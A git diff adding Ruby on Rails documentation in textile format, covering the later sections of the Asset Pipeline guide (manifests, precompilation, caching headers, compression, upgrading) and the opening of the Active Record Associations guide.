+</erb>
+
+In regular views you can access images in the +assets/images+ directory like this:
+
+<erb>
+<%= image_tag "rails.png" %>
+</erb>
+
+Provided that the pipeline is enabled within your application (and not disabled in the current environment context), this file is served by Sprockets. If a file exists at +public/assets/rails.png+ it is served by the web server.
+
+Alternatively, a request for a file with an MD5 hash such as +public/assets/rails-af27b6a414e6da00003503148be9b409.png+ is treated the same way. How these hashes are generated is covered in the "In Production":#in-production section later on in this guide.
+
+Sprockets will also look through the paths specified in +config.assets.paths+ which includes the standard application paths and any path added by Rails engines.
+
+Images can also be organized into subdirectories if required, and they can be accessed by specifying the directory's name in the tag:
+
+<erb>
+<%= image_tag "icons/rails.png" %>
+</erb>
+
+WARNING: If you're precompiling your assets (see "In Production":#in-production below), linking to an asset that does not exist will raise an exception in the calling page. This includes linking to a blank string. As such, be careful using <tt>image_tag</tt> and the other helpers with user-supplied data.
+
+h5. CSS and ERB
+
+The asset pipeline automatically evaluates ERB. This means that if you add an +erb+ extension to a CSS asset (for example, +application.css.erb+), then helpers like +asset_path+ are available in your CSS rules:
+
+<plain>
+.class { background-image: url(<%= asset_path 'image.png' %>) }
+</plain>
+
+This writes the path to the particular asset being referenced. In this example, it would make sense to have an image in one of the asset load paths, such as +app/assets/images/image.png+, which would be referenced here. If this image is already available in +public/assets+ as a fingerprinted file, then that path is referenced.
+
+If you want to use a "data URI":http://en.wikipedia.org/wiki/Data_URI_scheme -- a method of embedding the image data directly into the CSS file -- you can use the +asset_data_uri+ helper.
+
+<plain>
+#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
+</plain>
+
+This inserts a correctly-formatted data URI into the CSS source.
+
+Note that the closing tag cannot be of the style +-%>+.
+
+h5. CSS and Sass
+
+When using the asset pipeline, paths to assets must be re-written and +sass-rails+ provides +-url+ and +-path+ helpers (hyphenated in Sass, underscored in Ruby) for the following asset classes: image, font, video, audio, JavaScript and stylesheet.
+
+* +image-url("rails.png")+ becomes +url(/assets/rails.png)+
+* +image-path("rails.png")+ becomes +"/assets/rails.png"+.
+
+The more generic form can also be used but the asset path and class must both be specified:
+
+* +asset-url("rails.png", image)+ becomes +url(/assets/rails.png)+
+* +asset-path("rails.png", image)+ becomes +"/assets/rails.png"+
+
+h5. JavaScript/CoffeeScript and ERB
+
+If you add an +erb+ extension to a JavaScript asset, making it something such as +application.js.erb+, then you can use the +asset_path+ helper in your JavaScript code:
+
+<erb>
+$('#logo').attr({
+  src: "<%= asset_path('logo.png') %>"
+});
+</erb>
+
+This writes the path to the particular asset being referenced.
+
+Similarly, you can use the +asset_path+ helper in CoffeeScript files with +erb+ extension (e.g., +application.js.coffee.erb+):
+
+<plain>
+$('#logo').attr src: "<%= asset_path('logo.png') %>"
+</plain>
+
+h4. Manifest Files and Directives
+
+Sprockets uses manifest files to determine which assets to include and serve. These manifest files contain _directives_ -- instructions that tell Sprockets which files to require in order to build a single CSS or JavaScript file. With these directives, Sprockets loads the files specified, processes them if necessary, concatenates them into one single file and then compresses them (if +Rails.application.config.assets.compress+ is true). By serving one file rather than many, the load time of pages can be greatly reduced because the browser makes fewer requests.
+
+For example, a new Rails application includes a default +app/assets/javascripts/application.js+ file which contains the following lines:
+
+<plain>
+// ...
+//= require jquery
+//= require jquery_ujs
+//= require_tree .
+</plain>
+
+In JavaScript files, the directives begin with +//=+. In this case, the file is using the +require+ and the +require_tree+ directives. The +require+ directive is used to tell Sprockets the files that you wish to require. Here, you are requiring the files +jquery.js+ and +jquery_ujs.js+ that are available somewhere in the search path for Sprockets. You need not supply the extensions explicitly. Sprockets assumes you are requiring a +.js+ file when done from within a +.js+ file.
+
+NOTE. In Rails 3.1 the +jquery-rails+ gem provides the +jquery.js+ and +jquery_ujs.js+ files via the asset pipeline. You won't see them in the application tree.
+
+The +require_tree+ directive tells Sprockets to recursively include _all_ JavaScript files in the specified directory into the output. These paths must be specified relative to the manifest file. You can also use the +require_directory+ directive which includes all JavaScript files only in the directory specified, without recursion.
+
+Directives are processed top to bottom, but the order in which files are included by +require_tree+ is unspecified. You should not rely on any particular order among those. If you need to ensure some particular JavaScript ends up above some other in the concatenated file, require the prerequisite file first in the manifest. Note that the family of +require+ directives prevents files from being included twice in the output.
+
+Rails also creates a default +app/assets/stylesheets/application.css+ file which contains these lines:
+
+<plain>
+/* ...
+*= require_self
+*= require_tree .
+*/
+</plain>
+
+The directives that work in the JavaScript files also work in stylesheets (though obviously including stylesheets rather than JavaScript files). The +require_tree+ directive in a CSS manifest works the same way as the JavaScript one, requiring all stylesheets from the current directory.
+
+In this example +require_self+ is used. This puts the CSS contained within the file (if any) at the precise location of the +require_self+ call. If +require_self+ is called more than once, only the last call is respected.
+
+NOTE. If you want to use multiple Sass files, you should generally use the "Sass +@import+ rule":http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import instead of these Sprockets directives. Using Sprockets directives all Sass files exist within their own scope, making variables or mixins only available within the document they were defined in.
+
+You can have as many manifest files as you need. For example the +admin.css+ and +admin.js+ manifest could contain the JS and CSS files that are used for the admin section of an application.
+
+The same remarks about ordering made above apply. In particular, you can specify individual files and they are compiled in the order specified. For example, you might concatenate three CSS files together this way:
+
+<plain>
+/* ...
+*= require reset
+*= require layout
+*= require chrome
+*/
+</plain>
+
+
+h4. Preprocessing
+
+The file extensions used on an asset determine what preprocessing is applied. When a controller or a scaffold is generated with the default Rails gemset, a CoffeeScript file and a SCSS file are generated in place of a regular JavaScript and CSS file. The example used before was a controller called "projects", which generated an +app/assets/javascripts/projects.js.coffee+ and an +app/assets/stylesheets/projects.css.scss+ file.
+
+When these files are requested, they are processed by the processors provided by the +coffee-script+ and +sass+ gems and then sent back to the browser as JavaScript and CSS respectively.
+
+Additional layers of preprocessing can be requested by adding other extensions, where each extension is processed in a right-to-left manner. These should be used in the order the processing should be applied. For example, a stylesheet called +app/assets/stylesheets/projects.css.scss.erb+ is first processed as ERB, then SCSS, and finally served as CSS. The same applies to a JavaScript file -- +app/assets/javascripts/projects.js.coffee.erb+ is processed as ERB, then CoffeeScript, and served as JavaScript.
+
+Keep in mind that the order of these preprocessors is important. For example, if you called your JavaScript file +app/assets/javascripts/projects.js.erb.coffee+ then it would be processed with the CoffeeScript interpreter first, which wouldn't understand ERB and therefore you would run into problems.
+
+h3. In Development
+
+In development mode, assets are served as separate files in the order they are specified in the manifest file.
+
+This manifest +app/assets/javascripts/application.js+:
+
+<plain>
+//= require core
+//= require projects
+//= require tickets
+</plain>
+
+would generate this HTML:
+
+<html>
+<script src="/assets/core.js?body=1"></script>
+<script src="/assets/projects.js?body=1"></script>
+<script src="/assets/tickets.js?body=1"></script>
+</html>
+
+The +body+ param is required by Sprockets.
+
+h4. Turning Debugging off
+
+You can turn off debug mode by updating +config/environments/development.rb+ to include:
+
+<ruby>
+config.assets.debug = false
+</ruby>
+
+When debug mode is off, Sprockets concatenates and runs the necessary preprocessors on all files. With debug mode turned off the manifest above would generate instead:
+
+<html>
+<script src="/assets/application.js"></script>
+</html>
+
+Assets are compiled and cached on the first request after the server is started. Sprockets sets a +must-revalidate+ Cache-Control HTTP header to reduce request overhead on subsequent requests -- on these the browser gets a 304 (Not Modified) response.
+
+If any of the files in the manifest have changed between requests, the server responds with a new compiled file.
+
+Debug mode can also be enabled in the Rails helper methods:
+
+<erb>
+<%= stylesheet_link_tag "application", :debug => true %>
+<%= javascript_include_tag "application", :debug => true %>
+</erb>
+
+The +:debug+ option is redundant if debug mode is on.
+
+You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging.
+
+h3. In Production
+
+In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server.
+
+During the precompilation phase an MD5 is generated from the contents of the compiled files, and inserted into the filenames as they are written to disc. These fingerprinted names are used by the Rails helpers in place of the manifest name.
+
+For example this:
+
+<erb>
+<%= javascript_include_tag "application" %>
+<%= stylesheet_link_tag "application" %>
+</erb>
+
+generates something like this:
+
+<html>
+<script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script>
+<link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" />
+</html>
+
+The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which defaults to +true+ for production and +false+ for everything else).
+
+NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes.
+
+h4. Precompiling Assets
+
+Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk.
+
+Compiled assets are written to the location specified in +config.assets.prefix+. By default, this is the +public/assets+ directory.
+
+You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally.
+
+The rake task is:
+
+<plain>
+bundle exec rake assets:precompile
+</plain>
+
+For faster asset precompiles, you can partially load your application by setting
++config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates
+cannot see application objects or methods. *Heroku requires this to be false.*
+
+WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to
+test +rake assets:precompile+ locally before deploying. It may expose bugs where
+your assets reference application objects or methods, since those are still
+in scope in development mode regardless of the value of this flag. Changing this flag also affects
+engines. Engines can define assets for precompilation as well. Since the complete environment is not loaded,
+engines (or other gems) will not be loaded, which can cause missing assets.
+
+Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to +Capfile+:
+
+<erb>
+load 'deploy/assets'
+</erb>
+
+This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task.
+
+It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page.
+
+NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile).
+
+The default matcher for compiling files includes +application.js+, +application.css+ and all non-JS/CSS files (this will include all image assets automatically):
+
+<ruby>
+[ Proc.new{ |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ]
+</ruby>
+
+NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, +.coffee+ and +.scss+ files are *not* automatically included as they compile to JS/CSS.
+
+If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array:
+
+<erb>
+config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
+</erb>
+
+NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array.
+
+The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like:
+
+<plain>
+---
+rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png
+jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js
+jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js
+application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js
+application.css: application-8af74128f904600e41a6e39241464e03.css
+</plain>
+
+The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default).
+
+This can be changed with the +config.assets.manifest+ option. A fully specified path is required:
+
+<erb>
+config.assets.manifest = '/path/to/some/other/location'
+</erb>
+
+NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s).
+
+h5. Far-future Expires header
+
+Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them.
+
+For Apache:
+
+<plain>
+<LocationMatch "^/assets/.*$">
+  # Use of ETag is discouraged when Last-Modified is present
+  Header unset ETag
+  FileETag None
+  # RFC says only cache for 1 year
+  ExpiresActive On
+  ExpiresDefault "access plus 1 year"
+</LocationMatch>
+</plain>
+
+For nginx:
+
+<plain>
+location ~ ^/assets/ {
+  expires 1y;
+  add_header Cache-Control public;
+
+  add_header ETag "";
+  break;
+}
+</plain>
+
+h5. GZip compression
+
+When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves.
+
+Nginx is able to do this automatically enabling +gzip_static+:
+
+<plain>
+location ~ ^/(assets)/  {
+  root /path/to/public;
+  gzip_static on; # to serve pre-gzipped version
+  expires max;
+  add_header Cache-Control public;
+}
+</plain>
+
+This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation:
+
+<plain>
+./configure --with-http_gzip_static_module
+</plain>
+
+If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted.
+
+A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.)
+
+h4. Local Precompilation
+
+There are several reasons why you might want to precompile your assets locally. Among them are:
+
+* You may not have write access to your production file system.
+* You may be deploying to more than one server, and want to avoid the duplication of work.
+* You may be doing frequent deploys that do not include asset changes.
+
+Local compilation allows you to commit the compiled files into source control, and deploy as normal.
+
+There are two caveats:
+
+* You must not run the Capistrano deployment task that precompiles assets.
+* You must change the following two application configuration settings.
+
+In <tt>config/environments/development.rb</tt>, place the following line:
+
+<erb>
+config.assets.prefix = "/dev-assets"
+</erb>
+
+You will also need this in application.rb:
+
+<erb>
+config.assets.initialize_on_precompile = false
+</erb>
+
+The +prefix+ change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to +/assets+ in the production environment. Without this change, the application would serve the precompiled assets from +public/assets+ in development, and you would not see any local changes until you compile assets again.
+
+The +initialize_on_precompile+ change tells the precompile task to run without invoking Rails. This is because the precompile task runs in production mode by default, and will attempt to connect to your specified production database. Please note that you cannot have code in pipeline files that relies on Rails resources (such as the database) when compiling locally with this option.
+
+You will also need to ensure that any compressors or minifiers are available on your development system.
+
+In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected.
+
+h4. Live Compilation
+
+In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly.
+
+To enable this option set:
+
+<erb>
+config.assets.compile = true
+</erb>
+
+On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash.
+
+Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache.
+
+This mode uses more memory, performs more poorly than the default and is not recommended.
+
+If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile:
+
+<plain>
+group :production do
+  gem 'therubyracer'
+end
+</plain>
+
+h3. Customizing the Pipeline
+
+h4. CSS Compression
+
+There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification.
+
+The following line enables YUI compression, and requires the +yui-compressor+ gem.
+
+<erb>
+config.assets.css_compressor = :yui
+</erb>
+
+The +config.assets.compress+ must be set to +true+ to enable CSS compression.
+
+h4. JavaScript Compression
+
+Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems, respectively.
+
+The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your +if+ and +else+ statements to ternary operators where possible.
+
+The following line invokes +uglifier+ for JavaScript compression.
+
+<erb>
+config.assets.js_compressor = :uglifier
+</erb>
+
+Note that +config.assets.compress+ must be set to +true+ to enable JavaScript compression
+
+NOTE: You will need an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the "ExecJS":https://github.com/sstephenson/execjs#readme documentation for information on all of the supported JavaScript runtimes.
+
+h4. Using Your Own Compressor
+
+The compressor config settings for CSS and JavaScript also take any object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string.
+
+<erb>
+class Transformer
+  def compress(string)
+    do_something_returning_a_string(string)
+  end
+end
+</erb>
+
+To enable this, pass a +new+ object to the config option in +application.rb+:
+
+<erb>
+config.assets.css_compressor = Transformer.new
+</erb>
+
+
+h4. Changing the _assets_ Path
+
+The public path that Sprockets uses by default is +/assets+.
+
+This can be changed to something else:
+
+<erb>
+config.assets.prefix = "/some_other_path"
+</erb>
+
+This is a handy option if you are updating an existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource.
+
+h4. X-Sendfile Headers
+
+The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster.
+
+Apache and nginx support this option, which can be enabled in <tt>config/environments/production.rb</tt>.
+
+<erb>
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+</erb>
+
+WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ and any other environments you define with production behavior (not +application.rb+).
+
+h3. Assets Cache Store
+
+The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting +config.assets.cache_store+.
+
+<ruby>
+config.assets.cache_store = :memory_store
+</ruby>
+
+The options accepted by the assets cache store are the same as the application's cache store.
+
+<ruby>
+config.assets.cache_store = :memory_store, { :size => 32.megabytes }
+</ruby>
+
+h3. Adding Assets to Your Gems
+
+Assets can also come from external sources in the form of gems.
+
+A good example of this is the +jquery-rails+ gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from +Rails::Engine+. By doing this, Rails is informed that the directory for this gem may contain assets and the +app/assets+, +lib/assets+ and +vendor/assets+ directories of this engine are added to the search path of Sprockets.
+
+h3. Making Your Library or Gem a Pre-Processor
+
+TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them.
+
+h3. Upgrading from Old Versions of Rails
+
+There are a few issues when upgrading. The first is moving the files from +public/+ to the new locations. See "Asset Organization":#asset-organization above for guidance on the correct locations for different file types.
+
+Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy +jquery.js+ into +app/assets+ and it will be included automatically.
+
+The third is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0.
+
+In +application.rb+:
+
+<erb>
+# Enable the asset pipeline
+config.assets.enabled = true
+
+# Version of your assets, change this if you want to expire all your assets
+config.assets.version = '1.0'
+
+# Change the path that assets are served from
+# config.assets.prefix = "/assets"
+</erb>
+
+In +development.rb+:
+
+<erb>
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+</erb>
+
+And in +production.rb+:
+
+<erb>
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Choose the compressors to use
+# config.assets.js_compressor  = :uglifier
+# config.assets.css_compressor = :yui
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs.
+config.assets.digest = true
+
+# Defaults to nil and saved in location specified by config.assets.prefix
+# config.assets.manifest = YOUR_PATH
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+</erb>
+
+You should not need to change +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false.
+
+The following should also be added to +Gemfile+:
+
+<plain>
+# Gems used only for assets and not required
+# in production environments by default.
+group :assets do
+  gem 'sass-rails',   "~> 3.2.3"
+  gem 'coffee-rails', "~> 3.2.1"
+  gem 'uglifier'
+end
+</plain>
+
+If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement:
+
+<ruby>
+if defined?(Bundler)
+  # If you precompile assets before deploying to production, use this line
+  Bundler.require *Rails.groups(:assets => %w(development test))
+  # If you want your assets lazily compiled in production, use this line
+  # Bundler.require(:default, :assets, Rails.env)
+end
+</ruby>
+
+Instead of the old Rails 3.0 version:
+
+<ruby>
+# If you have a Gemfile, require the gems listed there, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env) if defined?(Bundler)
+</ruby>
diff --git a/guides/source/association_basics.textile b/guides/source/association_basics.textile
new file mode 100644
index 0000000000..d4c0a1ba74
--- /dev/null
+++ b/guides/source/association_basics.textile
@@ -0,0 +1,1967 @@
+h2. A Guide to Active Record Associations
+
+This guide covers the association features of Active Record. By referring to this guide, you will be able to:
+
+* Declare associations between Active Record models
+* Understand the various types of Active Record associations
+* Use the methods added to your models by creating associations
+
+endprologue.
+
+h3. Why Associations?
+
+Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
+
+<ruby>
+class Customer < ActiveRecord::Base
+end
+
+class Order < ActiveRecord::Base
+end
+</ruby>
+
+Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
+
+<ruby>
+@order = Order.create(:order_date => Time.now,
+  :customer_id => @customer.id)
+</ruby>
+
+Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
+
+<ruby>
+@orders = Order.where(:customer_id => @customer.id)
+@orders.each do |order|
+  order.destroy
+end
+@customer.destroy
+</ruby>
+
+With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders, :dependent => :destroy
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+</ruby>
+
+With this change, creating a new order for a particular customer is easier:
+
+<ruby>
+@order = @customer.orders.create(:order_date => Time.now)
+</ruby>
+
+Deleting a customer and all of its orders is _much_ easier:
+
+<ruby>
+@customer.destroy
+</ruby>
+
+To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+
+h3. The Types of Associations
+
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
+
+* +belongs_to+
+* +has_one+
+* +has_many+
+* +has_many :through+
+* +has_one :through+
+* +has_and_belongs_to_many+
+
+In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
+
+h4. The +belongs_to+ Association
+
+A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :customer
+end
+</ruby>
+
+!images/belongs_to.png(belongs_to Association Diagram)!
+
+h4. The +has_one+ Association
+
+A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+</ruby>
+
+!images/has_one.png(has_one Association Diagram)!
+
+h4. The +has_many+ Association
+
+A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+</ruby>
+
+NOTE: The name of the other model is pluralized when declaring a +has_many+ association.
+
+!images/has_many.png(has_many Association Diagram)!
+
+h4. The +has_many :through+ Association
+
+A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
+
+<ruby>
+class Physician < ActiveRecord::Base
+  has_many :appointments
+  has_many :patients, :through => :appointments
+end
+
+class Appointment < ActiveRecord::Base
+  belongs_to :physician
+  belongs_to :patient
+end
+
+class Patient < ActiveRecord::Base
+  has_many :appointments
+  has_many :physicians, :through => :appointments
+end
+</ruby>
+
+!images/has_many_through.png(has_many :through Association Diagram)!
+
+The collection of join models can be managed via the API. For example, if you assign
+
+<ruby>
+physician.patients = patients
+</ruby>
+
+new join models are created for newly associated objects, and if some are gone their rows are deleted.
+
+WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered.
+
+The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+
+<ruby>
+class Document < ActiveRecord::Base
+  has_many :sections
+  has_many :paragraphs, :through => :sections
+end
+
+class Section < ActiveRecord::Base
+  belongs_to :document
+  has_many :paragraphs
+end
+
+class Paragraph < ActiveRecord::Base
+  belongs_to :section
+end
+</ruby>
+
+With +:through => :sections+ specified, Rails will now understand:
+
+<ruby>
+@document.paragraphs
+</ruby>
+
+h4. The +has_one :through+ Association
+
+A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account
+  has_one :account_history, :through => :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+  has_one :account_history
+end
+
+class AccountHistory < ActiveRecord::Base
+  belongs_to :account
+end
+</ruby>
+
+!images/has_one_through.png(has_one :through Association Diagram)!
+
+h4. The +has_and_belongs_to_many+ Association
+
+A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
+
+<ruby>
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+</ruby>
+
+!images/habtm.png(has_and_belongs_to_many Association Diagram)!
+
+h4. Choosing Between +belongs_to+ and +has_one+
+
+If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which?
+
+The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
+
+<ruby>
+class Supplier < ActiveRecord::Base
+  has_one :account
+end
+
+class Account < ActiveRecord::Base
+  belongs_to :supplier
+end
+</ruby>
+
+The corresponding migration might look like this:
+
+<ruby>
+class CreateSuppliers < ActiveRecord::Migration
+  def change
+    create_table :suppliers do |t|
+      t.string  :name
+      t.timestamps
+    end
+
+    create_table :accounts do |t|
+      t.integer :supplier_id
+      t.string  :account_number
+      t.timestamps
+    end
+  end
+end
+</ruby>
+
+NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
+
+h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+
+
+Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
+
+<ruby>
+class Assembly < ActiveRecord::Base
+  has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+</ruby>
+
+The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
+
+<ruby>
+class Assembly < ActiveRecord::Base
+  has_many :manifests
+  has_many :parts, :through => :manifests
+end
+
+class Manifest < ActiveRecord::Base
+  belongs_to :assembly
+  belongs_to :part
+end
+
+class Part < ActiveRecord::Base
+  has_many :manifests
+  has_many :assemblies, :through => :manifests
+end
+</ruby>
+
+The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database).
+
+You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model.
+
+h4. Polymorphic Associations
+
+A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
+
+<ruby>
+class Picture < ActiveRecord::Base
+  belongs_to :imageable, :polymorphic => true
+end
+
+class Employee < ActiveRecord::Base
+  has_many :pictures, :as => :imageable
+end
+
+class Product < ActiveRecord::Base
+  has_many :pictures, :as => :imageable
+end
+</ruby>
+
+You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+.
+
+Similarly, you can retrieve +@product.pictures+.
+
+If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+<ruby>
+class CreatePictures < ActiveRecord::Migration
+  def change
+    create_table :pictures do |t|
+      t.string  :name
+      t.integer :imageable_id
+      t.string  :imageable_type
+      t.timestamps
+    end
+  end
+end
+</ruby>
+
+This migration can be simplified by using the +t.references+ form:
